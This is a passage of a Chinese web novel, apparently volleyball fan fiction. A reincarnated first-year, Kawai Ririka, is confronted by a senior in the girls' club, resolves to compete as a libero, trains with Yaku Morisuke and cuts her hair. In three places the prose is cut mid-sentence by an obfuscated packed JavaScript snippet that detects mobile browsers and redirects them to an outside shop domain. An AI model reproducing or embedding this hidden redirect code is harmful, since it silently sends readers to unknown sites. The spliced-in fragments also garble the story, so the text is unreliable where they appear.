“枝子的想法,”她说,“我倒是也能猜出几分。” “但现在,除了她和川合学妹,局外人很难插手。” 她看向麻美,语气认真了几分。 “你也别想着找教练私下解决。” 麻美张了张嘴,被堵了回去。 “教练干预,面上的矛盾是消了,社团也‘和谐’了。可长远呢?心结不还在那儿吗。” 望着依旧满脸不服的麻美,原田日葵拿这个同级一向没辙。 她软下声音。 “运动员能走多远,不只看技术,还看气量。” “枝子也好——我看你心疼的那个川合学妹,也不是那么容易屈服的人。” 麻美一脸懵,不知道原田为何有此一说。 “川合学妹自己还没找过任何一个前辈求助,对吧?”原田眯起眼。 “就你坐不住了,一头热。” “我看川合莉莉香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218637|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这姑娘,表面柔弱,内里刚烈得很。不是坐以待毙、单方面受着的软包子。” 她顿了顿。 “你等着吧。这局面不会持续多久了。” 像是一只被不断充气的气球,所有人保持缄默又心高悬着,紧张不安等待气球膨胀到最高点,不堪重负爆破的那刻。 到底谁先忍不住呢? 黑尾铁纱对新来小学妹不了解,她明摆着被针对却只是冷着脸,偶尔间或用漆黑深邃的眸子平静盯着人看,她眸色深,皮肤白,不笑的时候更显得孤高,让人不敢靠近。 黑尾铁纱也怕某一天川合莉莉香忍不住,把退部申请书拍她桌上拂身而去,导致这段时间她不敢和学妹独处,生怕听到她说“学姐我有事找你”。 然而这是必须经历的过程。 现在根本是不对等的,她们和学妹之间。 她们没有多少新人可选,对排球毫无特别情愫的川合莉莉香却能做出太多选择——她随时可以毫无心理负担地抽身。 温柔细语地哄着她留下来?黑尾铁纱压根不考虑。 压力在各个时期都有。如果川合留下来,就一定要上场正式比赛。音驹女排没有余裕让新人慢慢躲在后面摸鱼划水。她很快会被推到台前,那时压力就不是来自内部了,而是来自各个学校的强手。 如果早晚有一天要离开,黑尾铁纱想,不如是现在。 打破局面的竟然是川合莉莉香。 “泷学姐。”场上站立的少女长长的黑发梳成马尾利落地绑在脑后,穿着运动服的身姿背脊挺得笔直,哪怕运动许久也不见狼狈。 “学姐对我有什么意见和想法,可以直接说出来。” 少女的目光掠过所有人,她们都表情呆愣——没想到一年级的学妹会直接挑明。这不是一个常人会做出的反应。 她们是学姐,是前辈。 面对前辈的刁难,两种反应都是常见的,性格软弱平和者默默忍受,另一种选择是退出,此处不留自有去处可去。 而当面发难,虽敞亮直接,却很难让人理解,因为这对发言人本身不利——无论是继续留下来,还是选择出走,把矛盾挑开都有点得不偿失的意味,反而会吸引仇恨。 最市侩的选择应该是息事宁人,面上大家都好看。 沉思的原田日葵想着,又听到少女继续说,“你这样训练时故意针对我也没有意义的。” 她抬起头见少女眼睛如夜幕星光,仿佛直接就可以刺入内心,把对面人的心肝脾肺照个透亮。 她没有在生气,原田日葵有些震惊了。 她竟然没有生气。 川合莉莉香不是不清楚挑破脓包发炎的风险更大,比起面面俱到维持和平,她只想得到答案,无所谓任何人对她的不满。 原田日葵缓缓勾起唇角,又将视线转到泷枝子身上。 莉莉吗…… 她低声念叨着佐川麻美给新学妹起的昵称。这段时间,麻美一个人叫得亲昵,一声声在场馆里回荡。对于一个不知道会不会留下来的人,其他人谨慎而客气地称呼她“川合桑”或者“川合学妹”。 但此刻,原田日葵想,她要改口了。 这真是个好名字。 她们都会喜欢她的。 6. 第 6 章 泷枝子听罢并不掩饰,她晃晃茶色的短发,把额头上的汗珠甩落一些。她的出汗量非常大,哪怕甩落一些,依旧有残留从额上流经到脖颈。 她本就是一个脾气火爆直接,性格直率的人,三步并两步往前冲了几步,表情激动作势要打人一样。 “枝子,别这样……”泷枝子一把甩开麻美扶住她的手,听到我的话,她像点燃的炮竹直接炸了,“我就是对你非常不满意!” 她横眉冷对:“学妹你以前是跳舞的?像你这种在舞蹈室里优雅如公主的人,根本就不该加入这里,这里不是大小姐过家家、体验生活的地方。” 她嘶喊出声。 “你甚至都不爱排球!” 她的声音在排球馆大的空旷的内部回荡。 泷枝子躬下身,分不清是汗水还是泪水的液体,“啪嗒”一滴滴,滴落在体育馆光滑可鉴的地板上。因为此刻鸦雀无声,溅落在地板上的声音如此清晰。 我也注意到了,问她:“这个问题很重要吗?” 我真的不懂,我以为我会听到一些其他的答案,甚至没理由地说“我就是单纯看你不爽”也在我的意料中,我经历过,有些人会说“没眼缘,所以不喜欢你。” 但是因为我不喜欢排球?这算什么理由呢? 泷枝子说:“因为你没有爱,所以你坚持不下去的。” “我爱不爱,不影响我继续。” 我不解,我读书时不爱上学,每天依旧去上学,工作时不爱上班,依旧在上班。 对于参加排球社,我的看法是,虽然我谈不上喜欢,但是对于是自我意志决定的事情会坚持做完。爱不爱,和做不做,是两回事。 她显然不这么认为。 听到川合的答复,泷枝子睁大眼睛:“你觉得这样就够了?所以这就是你每天不花费全力的原因?” “我每天都试图为难你,我故意打出现阶段我我预计你一定接不住的球,”她边说着似乎自己都在觉得自己可笑而干巴巴惨笑出声,“我想,就算一次,也能看到你因为挫败而下定决心拼尽全力。” “哪怕有一次我能逼出你的极限,看到你热血喊出声的样子。” “但是都没有。” 她低下头,“你真的很天才,我眼睁睁看着你很快做得很好,继续毫无斗志却完美完成交给你的所有训练功课。” 黑尾铁纱听到泷枝子的话,眼里闪过一丝动容,走上前手按在她的肩膀上,泷枝子身子僵了一瞬,然后双手掩住脸。倔强的她本不愿意在同伴面前失态,更不想在一直暗暗较劲的学妹面前漏出丑陋难堪的面目。 但她自己也知道现在的模样有多么难看,川合莉莉香,那个好看的少女,一定会用看神经病的目光看着她。 不,她不会的,泷枝子自己纠正到,她迎面见识过,学妹平静的视线。 里面没有嘲讽,只有冰冷疏离的注视,但就是这样高高在上的淡然,会让她觉得自己越发像个小丑。 “凭什么啊,太不公平了……我比你,爱排球一百倍啊,排球,就是我的生命啊!”她挣脱开黑尾铁纱的手,抬起不甘的双眼,“你既然这么有才能,就更拼命一点啊!” 我张了张嘴,没说出话。 “更加,更加拼命一点啊,为排球再努力一点啊。”她哽咽地说,“你这么受排球的偏爱了啊……” 我或许该说些什么。我的视线从她们身上扫过——有人小声安慰着哭泣的泷枝子,有人停在原地。不约而同地,每个人都注视着我。她们的目光里有期待,希望我做出她们想要的反应。 可是我到底该说什么? 继续无动于衷会被人觉得冷漠。哪怕是从众,也该说些温软的话来安慰一个情绪崩溃的人——就像班级里有人哭泣时,其他女生不管关系好不好都会围过去。这是一种生存策略。 我却做不到。 一时之间从泷枝子话语里喷涌而出的、火热赤诚的情感,让我难以开口。我仿佛被烫了一下,被这种情感,如此真诚巨大的情感。 说不来温暖的话,我用很干瘪地语言为自己辩解。 “我有认真完成训练。” 我重复到,“我真的,很认真在完成,没有不尊重、敷衍排球的意思。” 所以,不要对我有这么高的期待,好吗? “我们知道,但是——”吊儿郎当的城山枫学姐这时候没有笑,她没有像往常那样拉着我休息时一脸轻松,嘴里跑马说些有的没的。 “你别生她的气,枝子只是在生自己的气。” “她只是一时想不开,感到不平罢了。” “不平?”我问。 城山枫没有很快回答,她知道川合莉莉香没有说谎,她确实每天都认真完成给她的每一项训练任务,不管是跑步,还是接球,每一项都不打折扣完成。 但她明显有余力。 在一群拿出百分之一百二的力气训练的人中,一个做到百分之百就停步的人是那么显眼。 在一群爱排球的人之中,一个不爱的人是那么显眼。 这能归咎于她吗? 不能。 “你一点错都没有。”城山枫叹气道,“是她没想开,不是所有人把人生都献给排球。对于你来说,被它当做一个普通、甚至因为学校规定不得不做的任务,这种态度也没错。” 说白了,川合莉莉香并没有如她们一样对排球的深深执念。 在她眼里,只是完成一个社团任务而已,没必要。 “那学姐怎么想的呢?”我突然想问。 这个一直嘴里念叨“我都三年级了,混完就退”的学姐是和泷枝子一样,还是和我一样? 城山枫没料到我会把问题扔给她。她愣了片刻,然后哈哈大笑,恢复平时的不正经。 “我当然是混混啦,哎呀躲在我们铁纱背后好乘凉。”她笑着把黑尾铁纱往前推,“等我毕业了,就彻底和排球拜拜啦。” “混蛋,那你每天最早来干嘛!”黑尾铁纱作势打她。 我又盯着被推到前面的黑尾铁纱,“那队长呢?也把排球当成一生的梦想吗?” 我莫名想知道,这里是不是每个人都和泷枝子一样。 也迫切想知道,这个群体到底是一群什么样的人,我在一群什么人之中。 “我?”黑尾铁纱摸摸鼻子,“我没枝子厉害,想成为职业选手,我或许会和混蛋大哥一样选择一样和排球相关的工作吧。” 我盯着她们,慢慢说:“原来是这样……” “你们都是一样的。” 只有我不一样。 工作之后我已经习惯大家得过且过、摸鱼混日的态度,我自觉已经比他们强些,起码我对待手头上接下的工作是认真的、一丝不苟。 于是我心安理得说自己算是负责的。 我后知后觉发现,我来到的是一个不同的群体。 她们每个人都不想达标就好,她们想要做到更多。 尽力而为,适可而止在这里好像也不存在。 为什么呢,图什么呢? 我不懂日本人的社团文化,但我知道利益导向,做什么事情都是利益驱动,高中生的社团罢了,就像城山枫和黑尾铁纱说得,不是所有人都以成为职业排球运动员为目标,那么这段高中生社团经历也不过是经历罢了。 我摇摇头:“我实在不理解。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218638|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >全身心地投入——我有过,我从前舞蹈练功时也不是没有经历过,这种付出。 但是那是对于舞蹈,对于排球,我还没有做好准备。 准确说,我还没有做好彻底参与到这个世界的准备。 我的过去、这里的未来…… 我心里很乱。 “有什么不理解的?小女孩的偏执罢了。”黑尾铁纱淡淡说。 “自己梦寐以求的,而拥有的人却没有如她一般的,百分百回应这份难得的上天赐予的天赋。” “幼稚,但不是不能理解。”她扯了扯嘴角,“看一些人就会有啦,看着别人浪费自己渴望的东西的心情,类似——” “‘如果是我有这份才能,我不会像她这样’,” “‘如果是我,只要我有——’这样等等的念头吧。” “别说她了,我也有咯。”黑尾铁纱开玩笑,“看到新闻上某些生事犯罪的富二代,想着如果这笔财富给我,如果有钱的人生给我,我肯定好好用起来,做更多的事情。” “不过都是瞎想。” 她见我不说话,怕我多想,忙解释:“本不应该强求每个人对排球的感情和我们一样,你能够加入,已经足够帮助我们了,只是嘛……” 你偏偏又是这样有天赋。 黑尾铁纱后面的话说不出口。 对于没有天赋的人,看着这样的人平添更多难受。 但这是泷枝子必须自己克服的心理,这个世界就是残酷的。 泷枝子的眼里水光晶莹。 “你长发的样子真的很好看。” “但对于我们,为了能够在场上发挥全部的力量没有一丝干扰,剪短了头发也不足惜。” “你可以有我这样的牺牲吗?” “你可以为排球做到什么程度?” “你会鱼跃扑倒在地上,不顾多疼痛,只为救起一个球吗?” “让我看看啊!你的决心!”她的喊声,包裹着她的心意。她的身体绷的直直的,两手握拳往下压,她的发丝随着她的动作晃动。 泷枝子胡乱擦干眼泪,脸上湿乎乎像一只花猫。 我这才发现她们的头发都不长,即便有些长度能够扎起来,也被束得很紧,一丝不苟地让头发紧贴头。 已经都做到这个地步了了吗…… “二传的位置,我不会让给你的!”泷枝子抬起眼。 那双被泪水洗过的眼睛,亮得惊人。 “如果你想要,就自己过来拿,只要你比我更强!但是我不会输的,我会用我的努力,比你的多一百倍一千倍,打败你!” 泷枝子拭干泪水,瞳眸里燃起无边的战意。 黑尾铁纱站在场边,看着这一幕。 她和猫又教练对视了一眼。教练没说话,但微微点了点头。 他们原本以为,泷枝子需要的是释”。有才能的后来者必定会如后起的潮水源源不断地涌现,旧人总有一天被覆盖。如果对这种现实无法看开,便会变得狭隘。 但她交出了不一样的答卷。 她没有认命,她邀战。 你想要核心位置?可以,打败我。 你有天赋,我也不服输。 我不会接受被你这样态度的人打败!我绝不会甘心被你用无所谓的态度拿走我拼命想要的东西! 黑尾把目光移向另一个当事人。 川合莉莉香站在原处,表情怔忡而复杂。那张总是平静的脸上,第一次有了她看不懂的东西。 几秒后,那表情慢慢沉寂下去。 少女点点头。 “我知道了。” 她说。 “请让我慢慢想想。” 7. 第 7 章 泷学姐的战书我收到了,并不生气,但我也没有做出回应。 所有人都觉得我还是无动于衷。 我听到有人小声说,情绪真稳定啊。 训练中途休息时,我背倚靠墙坐在墙边喝水。刚才发生的一切还历历在目,只有我自己知道我只有表面的平静。 我还没有决定,为排球做到什么程度。 手心里握住的水瓶因为我的无意识捏紧而出现形变。 我还在犹豫用什么态度面对这群年轻人——我才真切意识到我确实在平行世界更年轻的身体里复苏,我的心态比起她们多了几分垂垂老矣的暮气。 “川合同学,可以和你说说话吗?”正走过来的小林铃那,我们同为一年级,她性格腼腆,不像麻美学姐主动,而我偏巧不是一个主动的人。虽在一同训练,但一直没什么自然的契机让我们有机会单独坐在一起说些私话。 我点点头后,她在我身旁坐下。 小林铃那说道:“川合同学,在我们年级很有名呢。” 我撇开视线,有些不屑:“是因为外貌吗?” “也不全是吧。”她的声音一如她的形象细细弱弱,“川合同学自己没有感觉吧,川合同学有时候会一个人露出非常寂寞的表情。” “总是一个人,在怀念什么。” 我:“是嘛……” 我在怀念什么…… 大概是那个我回不去的地方吧。 家乡啊,我大抵是,想家了。 我难得笑笑:“小林同学,是一个很敏锐的人呢。” “看到的人都会明白的。” 小林铃那并非在社团里第一次见到川合莉莉香。 无人不知的一年级的女神,在见到她之前小林也曾想,有那样的外貌一定从小到大很受欢迎,而这样的人生经历大抵造成两种性格。 第一种被宠坏了,性格很差,张扬倨傲。 第二种从小得到便宜从没吃过苦头,是自信永远被偏爱的人生赢家。 然而偶然在走廊里穿过,经过一年三组的时候,小林铃那见到了“传说”的莉莉香。 走廊里抱着课间偷偷看美女想法的男生不在少数。 “看啊,那个就是川合了。” “我去,这竟然是真人?” 小林听到男生们的絮语,怀着好奇,她也往他们话语所向的方向望去——却看见一个和她想象不同的人。 绝对的美丽,但是不容忽视的忧郁悲伤。 周围的人的热闹,无法感染她。她就像一个局外人,在这片画面里如此格格不入。 为什么不加入周围人的聊天中呢,没有人能拒绝川合同学的加入吧。 她想。 出乎意料在排球社又见到了川合同学。 小林铃那终于明白了,确实没有人能够拒绝川合莉莉香的加入,但前提是——她自己愿意从她的圈里迈出来。 川合莉莉香自己给自己画了一个圈,把自己限制住了,活在了谁也不知道的过去。 小林铃那突然说:“川合同学,能看出来吧。” “我的实力,永远不能进正选。” 我一惊,看向她,她倒抢先一步豁达地笑了,“没关系的,我已经打了好几年排球了,这种事情早就认命了,国中就这样了,我要是介意,高中就不会加入这个社团了。” “有意义吗,永远不能上场。”我问,“一直徒劳无功,也没关系吗?” 我想从她那里听到什么样的答案啊。 她沉默了几秒。 “我当然也想上场。” “好想在场上,也为我的社团的胜利做出贡献,而不是只在场下加油。” “好想在场上,狠狠拦下对面的球,或者击出一记漂亮的扣杀。” “所以啊,”她笑着笑着,突然哭了,越哭越大声,“我真的好羡慕川合同学啊,你有我好想要,好羡慕的东西。” 我从口袋里掏出纸巾默默递给她。 这时候对她说任何悦耳的话好像都是白费。我也怕对她的安慰像是讽刺,有才能的人安慰无才能的人,何能称得上将心比心。 人类无法真正意义上共情。 小林铃那自言自语:“我并不嫉妒川合同学。” “只是看到你在场上闪闪亮亮的样子,有点羡慕。” 只是有一点。 偶尔做梦,把那个人在那个她梦寐以求的明亮场景里抠掉换成灰扑扑,如丑小鸭的自己。 “我知道。”我说,我把手放在这个孩子的头上,“没关系的。” 时常偷偷看我的女孩,怯生生的,目光里却并没有恶意。 我的手被她猛然握住,紧紧地,烫热的手心温度仿佛能通过我两相连的手直达我的心脏。 “我没办法上场,没办法为队伍夺取冠军。但是呢,我可以把这个梦想托付给川合同学你吗?” 我呆愣了,到底要怎么样才能让她说出这样的话,愿意把实现不了的梦想交托给另一个人,怎么甘心啊。 退一万步,哪怕我们夺冠了,她这样就能心满意足了吗? 小林铃那说:“川合同学,比起我个人,夺冠才是更大的梦想啊。这里的每一个人,都愿意为了这个目标而牺牲,包括我自己。” “不要旁观了,你有能力的,只要你愿意尝试迈出第一步,排球,不会让你失望的。” 尽管来尝试吧,她钟爱了那么多年的东西,不会让任何人失望。 她向我伸出手。 那一瞬间,我不知道是什么力量在我体内觉醒,它蠢蠢欲动,积聚力量如顶开地面的春笋一夜之间拔地而起。 我握住了她的手。 我听到了自己的声音。 “……好。” 训练后我找到了黑尾铁纱,泷枝子也在,她在对她交代些什么,有时点点头有时摇摇头。 注意到我朝她们走来,两人皆表情意外——毕竟方才发生过不愉快,她们认为正常人都会觉得尴尬和难以面对。 她们其实都做好了少女是过来退部的准备,两人眼不眨盯着我。 “泷学姐。”我顶着她们的目光开口,“我想和你竞争。” “哦,你想说什么,放弃了是吧呵呵,”泷枝子先习惯冷笑,而后又瞪大眼睛,她怀疑自己听错了,“你在说什么?” “我说——”我清了清嗓子,“我想要和你竞争。” “我想超越你。” 我说:“我想,尽全力试试,想看看自己能做到什么地步。” 泷枝子眼圈慢慢红了,却不是愤怒,“你,你这个小混蛋,”她语无伦次,不可置信又像是守得云开见月明,“你这个榆木脑袋终于想明白了吗?” “别偷着骂我啊学姐。”我终于在社团活动中第一次真心笑了。 泷枝子也跟着笑了。 “那你来吧,看做不做得到,我是不会轻易被你拍死在沙滩上的。” “嗨嗨,真是有活力啊,各位。” 黑尾铁纱走进川合莉莉香和泷枝子中间,她伸手把战意凛然的泷枝子一揽,笑嘻嘻对她说:“枝子妹妹,和新人邀战羞羞哦,学姐我二年级也没向你邀战吧。慢慢来吧,人家才一年级。况且啊——”她看向川合,眼里满是欣赏。 “人家妹妹也不是做二传啊,我和教练都看好她会是特别杰出的自由人啊。” “欸?!” 留下来自己加训了的夜久卫辅拿钥匙锁住体育馆的大门,这时天完全黑了,离部活结束的时间已经有一段时间了。 得更加油啊,inter high 就在眼前了,他在心里默念。 夜久卫辅盯着自己的手心微微出神,高强度的训练手心已经微微泛红了,他重重握拳,他可是身为音驹的守护神,音驹的王牌也不是只有进攻。 他必须要守护好大家的背后。 隔壁场馆亮着的灯吸引了他的注意 按道理这个时间了校园应该没有留下的学生了,运动社团本就散的晚,更何况夜久还自己多留了些时间,因此他以为自己应当是这个人走空的校园里最后一人。 难道还有比他耽误得更晚的学生在吗? 他猜测着,不敢相信这个点莫非还有谁在训练。 【不会吧,要卷死谁啊。】 作为男排部第一卷王,他不允许还有人比自己卷。 并且他也不相信真的有人努力到这个份上,尤其是当他辨认出亮灯的是隔壁女子排球的体育馆。 他忍不住往隔壁走去。 按道理身为男性偷看女孩太失礼,但此时已然太晚,女孩子会留到这个时候简直不可思议,这么晚回家对女性是不安全的。 所以也许是哪个马虎鬼忘了关灯吧。 夜久卫辅说服了自己。 他推开体育馆的门,探头往里窥视。 ——“噗唧”,丘比特的金箭射穿了他的心。 穿着运动服也难掩殊色的女孩子,黑色的发丝被汗浸湿粘在她修长纤细的脖颈上,刘海也湿漉漉贴在额上及两颊,底下是运动后红扑扑的脸,和一双美丽到毫无保留的眼睛。 是他的幻觉吧,不然哪有这样的女孩子存在世间。 夜久愣住了。 但他很快皱起眉头。 “这位学妹,不能这样乱来啊!”他走进去,叫住正准备下一轮动作的女孩。这个学妹在训练的项目是,鱼跃。 他看她一次次的站起像鱼一样扑倒在地上,又爬起。一次一次重复,明明身体已经颤抖了,大腿的肌肉甚至已经有开始抽搐的迹象了。但是她还是不放弃重复,要不是他出声打断她,她甚至已经准备在开始下一圈。 夜久叹气,用不赞同的目光看着她:“再怎么努力,也要有度啊,你这样子,受伤了岂不是得不偿失。该休息就要休息啊——” 女孩抬起眼,眼神还有点懵,他不由停下责备的话,心里咯噔。 太可爱了吧。 他心里尖叫。 虽然不赞同,但谁不喜欢好看还努力的女孩子呢。 不认识但看到这样的后辈,身为前辈他的手蠢蠢欲动想揉上她的头顶,想到这样的动作对一个刚刚见面的学妹太孟浪了,夜久卫辅按下念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218639|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 他稳住心神自我介绍:“我是三年级的夜久卫辅,也是排球部的,担任自由人。” 少女被迫停下动作后,身体产生一时晃动,夜久卫辅忙眼疾手快伸手扶住她。他眼里闪过了然,想必是只顾着盯着前方练习的时候根本忘记了身体的不适了。 而一旦停下,肌肉的酸痛,因为过度运动上涌的恶心感就如潮水般涌来。 借助他的手站稳后,女孩冲他露出一个带着谢意的笑容。 “学长好。我是一年级的川合莉莉香,刚刚加入排球部。位置——” 她顿了顿。 “也是自由人。” “啊?!” 夜久卫辅小心脏又一次跳得飞快。 什么情况,假的吧,他遏制自己想真的喊叫出声的冲动,遇到的天使学妹,和自己打的位置一样? 这是恋爱轻小说也写不出的剧情吧。 很难不怀疑,命运在直勾勾暗示他们有缘分。 他拼命想摁住违背他意志疯狂上扬的嘴角。 夜久卫辅……好熟悉的名字。 我定定望着他,恍然大悟,是他。 部活快结束时,我问黑尾学姐怎么快速提升自由人的技术。她笑着说了一些,然后提到隔壁男排的自由人。 “男排的夜久卫辅,是非常厉害可靠的自由人。” 我看着眼前这个个子并不高的少年,很难把他和“非常厉害可靠”的评价联系在一起。 真的有那么厉害吗?我也想。 我蠕动双唇,想起小林铃那,不是因为她把梦想托付给我,那太沉重了,我承受不起。 是因为她说的另一句话。 “尽管来尝试吧,排球不会让你失望的。” 她钟爱了那么多年的东西,不会让任何人失望。 我想试试。 不是为了向泷枝子证明什么,不是为了回应谁的期待。 就是……想试试。 我深呼吸,抛去别的多余的心思,“夜久学长,你介意教教我吗?我想进步,也想看看自己能做到什么地步。” 听到这样的话,他像是终于等到一个可以把手放她头上的理由。 心里传来一阵酥酥麻麻,仿佛有小手轻轻拨动他的心。无限的温柔流淌出,他轻轻摸了摸眼前少女的头。 “我都懂得。” 这种心情,他懂。 这位学长特别好说话——一口答应抽时间陪我训练,指导我自由人技术,还主动加line,说随时可以请教。 熟稔之后,他表现得亲切又体贴。 “莉莉香,”他很有绅士风度地帮我提起书包,“我送你回去吧。你一个人,我不放心。” 真温柔啊。 不过……. “我还有件事情想去做。”我说。 他蹙眉很是疑惑,“这么晚了,是有什么非做不可吗?” 我摇摇头,坚持道,“我已经决心迈出来了。”我垂下眼睫,低语道,“我想做得彻底一些。” “进步,太慢了。” “不,你已经很快了!”夜久卫辅不赞同少女不恰当的自贬,从刚才的闲聊过程他已经知道这个少女便是他们讨论过的“女排新人”,想起他们曾对她形象的漫天胡乱猜想,他心里划过几丝汗颜。 他好脾气说:“你是没见到列夫,哎呀就是你同班的灰羽列夫,那才叫差!” “关键是还为了逃避训练假装昏迷!”想到这点夜久卫辅就来气,所以看到隔壁女排有这么可爱自觉的后辈他觉得羡慕极了,如果他是这孩子的前辈,早就狠狠夸奖她了。 我歪着头看着他。 “可是我觉得不够。”我承认我是个固执的人,“我想让早一点让所有人知道,我做好决心改变。” “而且——”我扬了扬唇,“要做就做到极致。” “所以夜久学长如果不急着回家,可以陪我去做吗?”我双手合十。 …… 从理发店走出来的少女,一头瑰丽的长发不见,变成到两颊长度的短发。 “没有剪过这个长度,不会看的很奇怪吧。”少女不好意思拨弄着发尾。 但是夜久卫辅已经没办法移开视线了。 心脏扑通扑通,声音好大,他听不见周围的声音,说话声车声鸟雀声都离他远了,周围的一切好像都褪去颜色,只留下眼前的少女,是唯一的彩色。 夜久卫辅是一个短发控。 为了打好排球真的决心剪短,还是当着他的面,变成了他的心动型。 努力、拼搏、美丽……太多美妙的词语他都想一股脑堆砌在眼前人的身上。 他捂住脸,手下的脸庞已经爬满了害羞的红晕,捂不住的耳尖暴露了他起伏的心绪。 太犯规了,这样岂不是,每一样都正中他的喜好。 完了,栽了。 没想到坚持三年心如止水的他竟然最后一年栽在一年级的小姑娘身上了。 但是怎么办,他不想阻止。 夜久卫辅闭上眼,放任自己的内心,坠入蔷薇色的迷梦。 8. 第 8 章 富士田多多良迈进班级大门时,察觉到今天空气中弥漫着一股异样。 表面上看,提前到校的同学都在忙自己的事——翻书的翻书,补作业的补作业,聊天的聊天。但在这片日常的混乱里,隐隐透着某种诡异。 大家的视线影影绰绰,却又在各自的掩饰下,不约而同投向同一个方向。 富士田很快找到了焦点所在。 他大惊失色,其他人顾忌着什么,不敢开口,对于他却没什么负担。 “川合同学,你的头发怎么了?” 他下意识蹦出的想法是不妙的。因为众所周知头发是女人的命,对于青春期的女孩子更是,在讲究美的年纪,蓄一头长发需要时间,没有人能轻而易举对自己的头发擅自下手,更遑论这么狠。 昨天少女还是长发,周身笼罩着忧郁柔弱的气质。今天短发堪堪遮不住脖颈,纤细的脖颈完全暴露,从背后看,白得晃眼。 富士田多多良甚至以为她遇到了校园霸凌。这种事不新鲜,剪掉对方珍视的头发,是男生欺负女生也会用的手段。 我:“……” 看来觉得有人在观察我不是错觉,他们真的很关注我的头发。 “没什么,就是突然想剪了。” 他一脸不相信,对“突发奇想”这个理由完全不能接受,仿佛我一定遭遇了什么才会有此举动。我多解释了一句:“昨天放学后去剪的。我现在加入排球部了,还是短发更方便吧。” 富士田脸色渐缓,见我确实没有异色,这才稍稍放下心。 我伸手拉了拉发尾,发尾扫在耳畔的感觉还不太适应,问:“很奇怪吗?今天很多人都在看我,是觉得太丑了吗?” 昨天发型师信誓旦旦说非常合适,不过理发师的话都要打折听。理发店的镜子有加成,在那里觉得还不错的发型,过几天回到家,有越看越丑的前科。所以隐约察觉同学都在偷看我时,我很自然地认为——肯定是觉得奇怪。 奇怪的事物才会吸引人们长久驻足。 富士田多多良:“……” 我的其他同班同学好可怜。 还在以为大家不和她说话是不喜欢她呢,川合同学。 哪怕刻意想低调,但周围的目光还是下意识地追随她,去用眼神追逐她的一举一动。 不过他并没有把真相告诉眼前显得苦恼的少女。 是富士田本人的一点私心。 富士田多多良记忆犹新他鼓起勇气第一天搭话的场景,因为她太漂亮太冷淡,所以已经做好被嫌恶说“不要随便和我说话”的心理准备。 ——他觉得其他人似乎都是这么认为的,所以没有人敢第一个尝试。 然而少女先是一愣,又懵懵的,等到他以为会被人无视的时候,她不确定地回应:“你好?” 是很无措又稚嫩的的反应,但富士田不讨厌。 甚至有点喜欢。 如果她真的是一个完美的校园女神应付那么自如,他会心生自卑,毕竟他太普通。而普通人面对光芒四射的人,第一反应是退却。 所以当他发现川合莉莉香竟然不擅长人际相处时,心里涌动一股子隐秘的窃喜。 他突然像是握住了某种入场券。 而这张入场券他并不想交给别人。 “呐,你倒是说啊。”富士田对我的问题竟然发愣了,这种反应很难让人不觉得是“遇到难回答的问题不说话了”,我有点急了,不会真的那么难看吧。 “真的有那么难看吗?” 我已经开始想,要不要以后戴帽子了。 他才回答:“不奇怪啊。” 富士田多多良仔细端详我片刻,说:“相反我觉得意外很适合你。”他竖起大拇指,“会显得更活泼,更有生气些。”他斟酌语气,“……像活过来一样。” 以前不像真实的人,更像是谁摆放在那里的一副名画,无形中拉起生人勿进的警戒线。 我被他的话逗笑,富士田一定国文很差,用我们以前的话描述“这小孩语文是体育老师教的吧”。 “这算什么评价啊,我以前也不是死的啊。” “不过,既然不奇怪我就放心了。”我没把他的评价放在心上。我要求很低,不需要多么成功,只需要别让我不像正常人。我很害怕自己显得突出,这会没什么安全感。 富士田多多良慢慢回过味,恍然大悟:“你是不想受人瞩目啊。” 他顿了顿。 “可这没什么不好吧。”他从小到大都是个平凡到毫不起眼,也没有任何特质的孩子,私心底羡慕有些风格强烈的人,有些人身上是有他们看漫画经常说的“主角感”的,比如他在舞室遇到的兵藤清春,又比如川合莉莉香。 这些人,你会觉得他们优秀是一件正常的事情,有时候甚至会觉得世界是围绕着他们转动的。 “才不好吧!”我想都不想反驳,富士田被我骤然激动的态度惊到。 我摁住情绪,解释说,“……被人关注是很大的负担的。” “被人喜欢也是。” 靠舞蹈出名后,我做过一段时间还算有点名气的公众人物。那段时间过得并不好,相当内耗。 即便亲近的人说“不要太把粉丝当回事,你没有任何义务”,但我根本不受控。我很怕让这些用热烈目光注视我的人失望,我很清楚感受到他们的善意,他们对我的喜爱,因此我更怕我无法去回应他们的期待。 即便我知道根本无法让所有人满意。 然而还是如此希冀,让多一点,哪怕多一点的人是高兴的。 富士田多多良有点明白,又不是太明白。 他无法想象有人竟然有这样的烦恼。他站在台下,看台上的兵藤清春和花冈雫搭档,只觉得在无数耀眼灯光下翩翩起舞的他们是那么耀眼。他羡慕、向往、憧憬,梦想某一天也能和他们站在同一个高度,那些掌声和欢呼声、那些赞誉的目光和声音,有一天也属于他。 